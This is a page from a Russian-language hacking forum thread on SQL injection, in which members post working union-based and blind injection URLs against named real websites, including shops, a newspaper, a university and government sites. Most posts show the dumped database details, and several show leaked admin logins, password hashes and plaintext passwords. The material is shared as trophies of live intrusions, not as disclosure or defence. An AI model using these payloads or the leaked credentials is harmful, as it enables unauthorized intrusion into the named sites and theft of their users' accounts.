SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
Page 382 of 798
  1. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    http://www.cashmerewholesalecentre.com/product.php?cid=-100'+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,concat_ws(0x3a,version(),database(),user()),12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35/*


    Database Version: 4.1.22-community-nt
    Database name: akee
    User name: akee@localhost


    Found table login with columns id,password,username

    Have fun...
     
    #7621 Gorev, 6 Feb 2009
  2. z00MAN

    z00MAN Banned

    Joined:
    20 Nov 2008
    Messages:
    360
    Likes Received:
    276
    Reputations:
    41
    Code:
    http://www.rtos.com/page/product.php?id=-6+union+select+1,2,concat(version(),0x3a,database(),0x3a,user()),4--
    version(): 4.1.20-log
    user(): [email protected]
    database(): expresslogic
    ТИЦ = 30



    Code:
    http://nlsod.ru/?d=o_company&f=company&id=-6+union+select+1,concat(version(),0x3a,user(),0x3a,database()),user+from+mysql.user+limit+0,1--
    version(): 5.0.33
    user(): root@localhost
    database(): 1gb_nlsoddb
    ТИЦ = 30



    Code:
    http://www.svadbaexpo.ru/index.php?id=-6+union+select+1,concat(version(),0x3a,user(),0x3a,database()),3--
    version(): 4.1.20-log
    user(): [email protected]
    database(): db_tours_3
    ТИЦ = 100
     
    #7622 z00MAN, 6 Feb 2009
  3. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    Software shop...

    http://www.piatadesoft.ro/public.php?vreau=infoprog&offset=19&go=40&prog=-2716+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,concat_ws(0x3a,version(),database(),user()),43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61/*

    Database Version: 4.0.20
    Database name: piatadesoft
    User name: root@localhost



    http://www.piatadesoft.ro/public.php?vreau=infoprog&offset=19&go=40&prog=-2716+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,concat_ws(0x3a,user,password),43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61+FROM+mysql.user/*

    root:6ac227d531f5e2da
     
    #7623 Gorev, 6 Feb 2009
    1 person likes this.
  4. R1dex

    R1dex Elder - Старейшина

    Joined:
    17 Sep 2008
    Messages:
    255
    Likes Received:
    132
    Reputations:
    19
    Электронная библиотека.

    Code:
    http://kamonline.ru/index.php?action=viewcat&num=-1+union+select+concat(login,0x3a,passwd)+from+users--
    mailbrush,

    Не понял, это таже самая инъекция, зачем её баянить?
     
    #7624 R1dex, 6 Feb 2009
    Last edited: 7 Feb 2009
  5. viaman

    viaman New Member

    Joined:
    26 Nov 2008
    Messages:
    4
    Likes Received:
    1
    Reputations:
    0
    http://www.facilities.upenn.edu/mapsBldgs/view_map.php3?id=-44+union+select+1,2,3,4,version(),6,7,8,9,10,11--
     
    #7625 viaman, 7 Feb 2009
  6. pinky07

    pinky07 Member

    Joined:
    2 Jan 2009
    Messages:
    55
    Likes Received:
    34
    Reputations:
    6
    http://www.photokzn.ru

    так находим таблицу с пользователями:
    http://www.photokzn.ru/?cat=new&id=3931'+and+ascii(substring((SELECT+table_name+FROM+information_schema.tables+WHERE+table_name+like+char(37,117,115,101,114,37)+limit+2,1),1,1))='117 = u
    http://www.photokzn.ru/?cat=new&id=3931'+and+ascii(substring((SELECT+table_name+FROM+information_schema.tables+WHERE+table_name+like+char(37,117,115,101,114,37)+limit+2,1),2,1))='115 = s
    http://www.photokzn.ru/?cat=new&id=3931'+and+ascii(substring((SELECT+table_name+FROM+information_schema.tables+WHERE+table_name+like+char(37,117,115,101,114,37)+limit+2,1),3,1))='101 = e
    http://www.photokzn.ru/?cat=new&id=3931'+and+ascii(substring((SELECT+table_name+FROM+information_schema.tables+WHERE+table_name+like+char(37,117,115,101,114,37)+limit+2,1),4,1))='114 = r
    http://www.photokzn.ru/?cat=new&id=3931'+and+ascii(substring((SELECT+table_name+FROM+information_schema.tables+WHERE+table_name+like+char(37,117,115,101,114,37)+limit+2,1),5,1))='115 = s
    http://www.photokzn.ru/?cat=new&id=3931'+and+ascii(substring((SELECT+table_name+FROM+information_schema.tables+WHERE+table_name+like+char(37,117,115,101,114,37)+limit+2,1),6,1))='0
    таблица users


    находим колонку с паролями:
    http://www.photokzn.ru/?cat=new&id=3931'+and+ascii(substring((SELECT+column_name+FROM+information_schema.columns+WHERE+table_name=0x7573657273+limit+3,1),1,1))='112 = p
    http://www.photokzn.ru/?cat=new&id=3931'+and+ascii(substring((SELECT+column_name+FROM+information_schema.columns+WHERE+table_name=0x7573657273+limit+3,1),2,1))='97 = a
    http://www.photokzn.ru/?cat=new&id=3931'+and+ascii(substring((SELECT+column_name+FROM+information_schema.columns+WHERE+table_name=0x7573657273+limit+3,1),3,1))='115 = s
    http://www.photokzn.ru/?cat=new&id=3931'+and+ascii(substring((SELECT+column_name+FROM+information_schema.columns+WHERE+table_name=0x7573657273+limit+3,1),4,1))='115 = s
    http://www.photokzn.ru/?cat=new&id=3931'+and+ascii(substring((SELECT+column_name+FROM+information_schema.columns+WHERE+table_name=0x7573657273+limit+3,1),5,1))='0
    колонка pass


    находим колонку с логинами:
    http://www.photokzn.ru/?cat=new&id=3931'+and+ascii(substring((SELECT+column_name+FROM+information_schema.columns+WHERE+table_name=0x7573657273+limit+2,1),1,1))='108 = l
    http://www.photokzn.ru/?cat=new&id=3931'+and+ascii(substring((SELECT+column_name+FROM+information_schema.columns+WHERE+table_name=0x7573657273+limit+2,1),2,1))='111 = o
    http://www.photokzn.ru/?cat=new&id=3931'+and+ascii(substring((SELECT+column_name+FROM+information_schema.columns+WHERE+table_name=0x7573657273+limit+2,1),3,1))='103 = g
    http://www.photokzn.ru/?cat=new&id=3931'+and+ascii(substring((SELECT+column_name+FROM+information_schema.columns+WHERE+table_name=0x7573657273+limit+2,1),4,1))='105 = i
    http://www.photokzn.ru/?cat=new&id=3931'+and+ascii(substring((SELECT+column_name+FROM+information_schema.columns+WHERE+table_name=0x7573657273+limit+2,1),5,1))='110 = n
    http://www.photokzn.ru/?cat=new&id=3931'+and+ascii(substring((SELECT+column_name+FROM+information_schema.columns+WHERE+table_name=0x7573657273+limit+2,1),6,1))='0
    колонка login

    Теперь вывод логина:
    http://www.photokzn.ru/?cat=new&id=3931'+and+ascii(substring((SELECT+login+FROM+users+limit+0,1),1,1))='97 a
    http://www.photokzn.ru/?cat=new&id=3931'+and+ascii(substring((SELECT+login+FROM+users+limit+0,1),2,1))='100 d
    http://www.photokzn.ru/?cat=new&id=3931'+and+ascii(substring((SELECT+login+FROM+users+limit+0,1),3,1))='109 m
    http://www.photokzn.ru/?cat=new&id=3931'+and+ascii(substring((SELECT+login+FROM+users+limit+0,1),4,1))='105 i
    http://www.photokzn.ru/?cat=new&id=3931'+and+ascii(substring((SELECT+login+FROM+users+limit+0,1),5,1))='110 n
    http://www.photokzn.ru/?cat=new&id=3931'+and+ascii(substring((SELECT+login+FROM+users+limit+0,1),6,1))='0
    логин админа - admin


    вывод пароля из users где имя пользователя admin;)
    http://www.photokzn.ru/?cat=new&id=3931'+and+ascii(substring((SELECT+pass+FROM+users+where+login=0x61646d696e),1,1))='116 = t
    http://www.photokzn.ru/?cat=new&id=3931'+and+ascii(substring((SELECT+pass+FROM+users+where+login=0x61646d696e),2,1))='104 = h
    http://www.photokzn.ru/?cat=new&id=3931'+and+ascii(substring((SELECT+pass+FROM+users+where+login=0x61646d696e),3,1))='105 = i
    http://www.photokzn.ru/?cat=new&id=3931'+and+ascii(substring((SELECT+pass+FROM+users+where+login=0x61646d696e),4,1))='115 = s
    http://www.photokzn.ru/?cat=new&id=3931'+and+ascii(substring((SELECT+pass+FROM+users+where+login=0x61646d696e),5,1))='116 = t
    http://www.photokzn.ru/?cat=new&id=3931'+and+ascii(substring((SELECT+pass+FROM+users+where+login=0x61646d696e),6,1))='105 = i
    http://www.photokzn.ru/?cat=new&id=3931'+and+ascii(substring((SELECT+pass+FROM+users+where+login=0x61646d696e),7,1))='109 = m
    http://www.photokzn.ru/?cat=new&id=3931'+and+ascii(substring((SELECT+pass+FROM+users+where+login=0x61646d696e),8,1))='101 = e
    http://www.photokzn.ru/?cat=new&id=3931'+and+ascii(substring((SELECT+pass+FROM+users+where+login=0x61646d696e),9,1))='0
    пароль админа thistime

    P.s. Там на сайте 5 версия MySQL, можно было бы провести иньекцию по другому, но я не ищу легких путей!!!!=))
     
    #7626 pinky07, 7 Feb 2009
    4 people like this.
  7. R1dex

    R1dex Elder - Старейшина

    Joined:
    17 Sep 2008
    Messages:
    255
    Likes Received:
    132
    Reputations:
    19
    Медиа-уроки

    Code:
    http://media-lessons.com/video/-148+union+select+1,2,3,4,5,6,7+from+phpbb_users--
     
    #7627 R1dex, 7 Feb 2009
  8. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    www.jvc.ro PR5

    http://www.jvc.ro/product.php?id=EX-A10E&catid=100030[SQLINJ]


    Version : PostgreSQL
    Current_database : jvc-ro
    Current_user: ppo


    З.Ы. Уязвимы все сайты JVC в мире, сделаны они по одной и той же технологии только имена доменов разные и язык на котором предоставлена информация.
    Скуля слепая... не раскручивал, кому интересно могу помочь
     
    #7628 Gorev, 7 Feb 2009
    Last edited: 7 Feb 2009
    1 person likes this.
  9. edichka

    edichka Member

    Joined:
    31 Jan 2009
    Messages:
    19
    Likes Received:
    14
    Reputations:
    0
    apps.detnews.com

    Pr 6

    HTML:
    http://apps.detnews.com/apps/history/index.php?id=-14+union+select+1,2,concat_ws(0x3a,user,password),4,5,6,7,8,9,0,1,2,3,4+from+mysql.user
    root:41221e5672a06384
    johnd:2dd99728002374de
    tdn:41221c6172a0658f
    tdn:134e3e414b6b964f
    jdaven:2dd99728002374de
    ien:475dc867159e96ef
    drupal_user:79bd7cfe7e82fdf1
     
    #7629 edichka, 7 Feb 2009
  10. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    http://www.aectra.ro/product.php?prod_id=-186+UNION+SELECT+1,2,3,4,AES_DECRYPT(AES_ENCRYPT(CONCAT_WS(0x3a,Version(),Database(),User()),0x71),0x71),6,7,8,9,10,11,12,13/*


    Database Version: 4.1.11-Debian_4sarge7-log
    Database name: aectra
    User name: aectra@localhost
     
    #7630 Gorev, 7 Feb 2009
  11. pinky07

    pinky07 Member

    Joined:
    2 Jan 2009
    Messages:
    55
    Likes Received:
    34
    Reputations:
    6
    wap.116.ru
    юзер - [email protected]
    бд - wap_116
    версия MySQL - 5.0.51b-log
    www.heaven-house.kz
    юзер - [email protected]
    бд - u51572
    версия MySQL - 5.0.67-log

    выводятся все таблицы сразу, limit даже не нужен)
    www.oprf.ru - ОБЩЕСТВЕННАЯ ПАЛАТА РФ=) Не думал что на таких сайтах могут быть уязвимости=)

    юзер - oprf@localhost
    бд - oprf
    версия MySQL - 5.0.45

    выводим список всех админов с пассами)
    логин главного админа - root пароль - abra
    админка - http://www.oprf.ru/admin/

    p.s Не злоупотреблять=)

    jokester: я так и буду твои посты объединять?
     
    #7631 pinky07, 7 Feb 2009
    Last edited by a moderator: 7 Feb 2009
    3 people like this.
  12. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,663
    Likes Received:
    916
    Reputations:
    363
    Code:
    http://www.defineyourgod.com/god.php?id=69+union+select+1,version(),3,4,5,6,7,8,9,10,11--
    5.0.51a-15
    Code:
    http://www.defineyourgod.com/god.php?id=69+union+select+1,table_name,3,4,5,6,7,8,9,10,11+from+information_schema.tables+limit+18,1--
     
    _________________________
    #7632 yarbabin, 7 Feb 2009
    1 person likes this.
  13. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    http://www.solaren.ro/product.php?id=2&sectionID=57+UNION+SELECT+1,2,3,4,5,6,7,8,AES_DECRYPT(AES_ENCRYPT(CONCAT_WS(0x3a,Version(),Database(),User()),0x71),0x71)+LIMIT+1,1--



    Database Version: 5.0.67-community
    Database name: solarenr_1
    User name: solarenr_1@localhost
     
    #7633 Gorev, 7 Feb 2009
  14. Kraneg

    Kraneg Elder - Старейшина

    Joined:
    30 Aug 2008
    Messages:
    107
    Likes Received:
    97
    Reputations:
    21
    lookingglass.org
    Code:
    http://www.lookingglass.org/links/index.php?cat_id=-77+UNION+SELECT+concat_ws(0x3a,version(),database(),user())--
    PR7
    5.0.67-community
    looking_publications
    looking_ttlgadmi@localhost
    Есть доступ к INFORMATION_SCHEMA можем смотреть названия таблиц и так далее =)
     
    #7634 Kraneg, 7 Feb 2009
  15. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,663
    Likes Received:
    916
    Reputations:
    363
    Code:
    http://www.bellagreetings.com/1/card.php?ID=-1135'+union+select+1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17/*
    4.1.20

    Code:
    http://www.evergreenmarketing.com/card.php?ID=-55'+union+select+1,2,3,4,5,version(),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26/*
    4.1.22
     
    _________________________
    #7635 yarbabin, 7 Feb 2009
    Last edited: 8 Feb 2009
  16. pinky07

    pinky07 Member

    Joined:
    2 Jan 2009
    Messages:
    55
    Likes Received:
    34
    Reputations:
    6
    http://mer.e-kazan.ru Сайт мэра города Казани=)

    юзер:
    http://mer.e-kazan.ru/rus/events'+and+ascii(lower(substring(user(),1,1)))='109 = m
    http://mer.e-kazan.ru/rus/events'+and+ascii(lower(substring(user(),2,1)))='101 = e
    http://mer.e-kazan.ru/rus/events'+and+ascii(lower(substring(user(),3,1)))='114 = r
    http://mer.e-kazan.ru/rus/events'+and+ascii(lower(substring(user(),4,1)))='64 = @
    http://mer.e-kazan.ru/rus/events'+and+ascii(lower(substring(user(),5,1)))='108 = l
    http://mer.e-kazan.ru/rus/events'+and+ascii(lower(substring(user(),6,1)))='111 = o
    http://mer.e-kazan.ru/rus/events'+and+ascii(lower(substring(user(),7,1)))='99 = c
    http://mer.e-kazan.ru/rus/events'+and+ascii(lower(substring(user(),8,1)))='97 = a
    http://mer.e-kazan.ru/rus/events'+and+ascii(lower(substring(user(),9,1)))='108 = l
    http://mer.e-kazan.ru/rus/events'+and+ascii(lower(substring(user(),10,1)))='104 = h
    http://mer.e-kazan.ru/rus/events'+and+ascii(lower(substring(user(),11,1)))='111 = o
    http://mer.e-kazan.ru/rus/events'+and+ascii(lower(substring(user(),12,1)))='115 = s
    http://mer.e-kazan.ru/rus/events'+and+ascii(lower(substring(user(),13,1)))='116 = t
    http://mer.e-kazan.ru/rus/events'+and+ascii(lower(substring(user(),14,1)))='0

    бд:
    http://mer.e-kazan.ru/rus/events'+and+ascii(lower(substring(database(),1,1)))='109 = m
    http://mer.e-kazan.ru/rus/events'+and+ascii(lower(substring(database(),2,1)))='101 = e
    http://mer.e-kazan.ru/rus/events'+and+ascii(lower(substring(database(),3,1)))='114 = r
    http://mer.e-kazan.ru/rus/events'+and+ascii(lower(substring(database(),4,1)))='0

    версия MySQL - 5:
    http://mer.e-kazan.ru/rus/events'+and+substring(version(),1,1)='5

    p.s. через information_shema можно вывести все таблицы, но к сожалению на сайте base авторизация ='(
     
    #7636 pinky07, 8 Feb 2009
    1 person likes this.
  17. -m0rgan-

    -m0rgan- Elder - Старейшина

    Joined:
    29 Sep 2008
    Messages:
    514
    Likes Received:
    170
    Reputations:
    17
    какой то шоп:
    Code:
    http://www.ptpworld.es/index.php?menu=adorder&adid=-1+union+select+1,2,group_concat(concat_ws(0x3a,username,password,email)),4+from+users--
    ------------------------------------------------------------------
    Code:
    http://www.nashvilleindian.com/yellowpages1.php?id=-394+union+select+1,2,3,concat(0x3a,emailid,password),5,6,7,8,9,10,11,12,13,14+from+users--
    получаем не малое количество юзеров...
    ------------------------------------------------------------------
    Хостинг
    Code:
    http://www.bigfatwebhosting.co.uk/help/index.php?view=-1+union+select+1,concat(0x3a,user,pass),3,4,5,6+from+admin--
    логин/пасс:
    Code:
    mikeyj69:RPmjbf69XYz4
    -------------------------------------------------------------
    The End!
     
    #7637 -m0rgan-, 8 Feb 2009
  18. Kraneg

    Kraneg Elder - Старейшина

    Joined:
    30 Aug 2008
    Messages:
    107
    Likes Received:
    97
    Reputations:
    21
    weissenborn.es
    Code:
    http://www.weissenborn.es/cubecart/index.php?cat_id=-3+UNION+SELECT+concat_ws(0x3a,version(),database(),user()),2,3,4,5,6,7,8--
    PR4
    4.1.22-standard
    eweissen_ccrt1
    eweissen_ccrt1@localhost

    Вобщем этот шоп построен на CubeCart =) такой же еще один нашел...
    www.fontwerks.com
    Только тут названия таблиц и полей читать можно из INFORMATION_SCHEMA...
     
    #7638 Kraneg, 8 Feb 2009
    Last edited: 8 Feb 2009
  19. Kraneg

    Kraneg Elder - Старейшина

    Joined:
    30 Aug 2008
    Messages:
    107
    Likes Received:
    97
    Reputations:
    21
    rugbycanada.ca
    Code:
    http://www.rugbycanada.ca/index.php?lang=en&page_id=10&news_id=-4464+UNION+SELECT+1,concat_ws(0x3a,version(),database(),user
()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19/*
    PR7
    Version:4.0.27
    DB:rugbyca
    user:rugbyca@localhost

    Так же можем прочитать логин и пароль админа:
    Code:
    http://www.rugbycanada.ca/index.php?lang=en&page_id=10&news_id=-4464+UNION+SELECT+1,concat_ws
(0x3a,id,user_name,user_password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+FROM+administrators/*
    Только как-то пароль странно вывел или с солью или не понятно вообще что это =)
    1:rugbyca:0f9c80a8014a66940ce454df4fcac581:b2
     
    #7639 Kraneg, 8 Feb 2009
  20. pinky07

    pinky07 Member

    Joined:
    2 Jan 2009
    Messages:
    55
    Likes Received:
    34
    Reputations:
    6
    vkazan.ru

    юзер:
    http://vkazan.ru/city/sights/index.html?id=560+and+ascii(lower(substring(user(),1,1)))=112 = p
    http://vkazan.ru/city/sights/index.html?id=560+and+ascii(lower(substring(user(),2,1)))=111 = o
    http://vkazan.ru/city/sights/index.html?id=560+and+ascii(lower(substring(user(),3,1)))=119 = w
    http://vkazan.ru/city/sights/index.html?id=560+and+ascii(lower(substring(user(),4,1)))=101 = e
    http://vkazan.ru/city/sights/index.html?id=560+and+ascii(lower(substring(user(),5,1)))=114 = r
    http://vkazan.ru/city/sights/index.html?id=560+and+ascii(lower(substring(user(),6,1)))=95 = _
    http://vkazan.ru/city/sights/index.html?id=560+and+ascii(lower(substring(user(),7,1)))=103 = g
    http://vkazan.ru/city/sights/index.html?id=560+and+ascii(lower(substring(user(),8,1)))=111 = o
    http://vkazan.ru/city/sights/index.html?id=560+and+ascii(lower(substring(user(),9,1)))=114 = r
    http://vkazan.ru/city/sights/index.html?id=560+and+ascii(lower(substring(user(),10,1)))=111 = o
    http://vkazan.ru/city/sights/index.html?id=560+and+ascii(lower(substring(user(),11,1)))=100 = d
    http://vkazan.ru/city/sights/index.html?id=560+and+ascii(lower(substring(user(),12,1)))=97 = a
    http://vkazan.ru/city/sights/index.html?id=560+and+ascii(lower(substring(user(),13,1)))=64 = @
    http://vkazan.ru/city/sights/index.html?id=560+and+ascii(lower(substring(user(),14,1)))=108 = l
    http://vkazan.ru/city/sights/index.html?id=560+and+ascii(lower(substring(user(),15,1)))=111 = o
    http://vkazan.ru/city/sights/index.html?id=560+and+ascii(lower(substring(user(),16,1)))=99 = c
    http://vkazan.ru/city/sights/index.html?id=560+and+ascii(lower(substring(user(),17,1)))=97 = a
    http://vkazan.ru/city/sights/index.html?id=560+and+ascii(lower(substring(user(),18,1)))=108 = l
    http://vkazan.ru/city/sights/index.html?id=560+and+ascii(lower(substring(user(),19,1)))=104 = h
    http://vkazan.ru/city/sights/index.html?id=560+and+ascii(lower(substring(user(),20,1)))=111 = o
    http://vkazan.ru/city/sights/index.html?id=560+and+ascii(lower(substring(user(),21,1)))=115 = s
    http://vkazan.ru/city/sights/index.html?id=560+and+ascii(lower(substring(user(),22,1)))=116 = t
    http://vkazan.ru/city/sights/index.html?id=560+and+ascii(lower(substring(user(),23,1)))=0

    [B]бд:[/B]
    http://vkazan.ru/city/sights/index.html?id=560+and+ascii(lower(substring(database(),1,1)))=112 = p
    http://vkazan.ru/city/sights/index.html?id=560+and+ascii(lower(substring(database(),2,1)))=111 = o
    http://vkazan.ru/city/sights/index.html?id=560+and+ascii(lower(substring(database(),3,1)))=119 = w
    http://vkazan.ru/city/sights/index.html?id=560+and+ascii(lower(substring(database(),4,1)))=101 = e
    http://vkazan.ru/city/sights/index.html?id=560+and+ascii(lower(substring(database(),5,1)))=114 = r
    http://vkazan.ru/city/sights/index.html?id=560+and+ascii(lower(substring(database(),6,1)))=95 = _
    http://vkazan.ru/city/sights/index.html?id=560+and+ascii(lower(substring(database(),7,1)))=103 = g
    http://vkazan.ru/city/sights/index.html?id=560+and+ascii(lower(substring(database(),8,1)))=111 = o
    http://vkazan.ru/city/sights/index.html?id=560+and+ascii(lower(substring(database(),9,1)))=114 = r
    http://vkazan.ru/city/sights/index.html?id=560+and+ascii(lower(substring(database(),10,1)))=111 = o
    http://vkazan.ru/city/sights/index.html?id=560+and+ascii(lower(substring(database(),11,1)))=100 = d
    http://vkazan.ru/city/sights/index.html?id=560+and+ascii(lower(substring(database(),12,1)))=97 = a
    http://vkazan.ru/city/sights/index.html?id=560+and+ascii(lower(substring(database(),13,1)))=0

    версия MySQL - 5
    http://vkazan.ru/city/sights/index.html?id=560+and+(substring(version(),1,1))=5

    p.s. нет выводимых полей, опять пришлось через подзапросы все делать=)
     
    #7640 pinky07, 8 Feb 2009
    3 people like this.
(You must log in or sign up to post here.)
Page 382 of 798
Thread Status:
Not open for further replies.
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.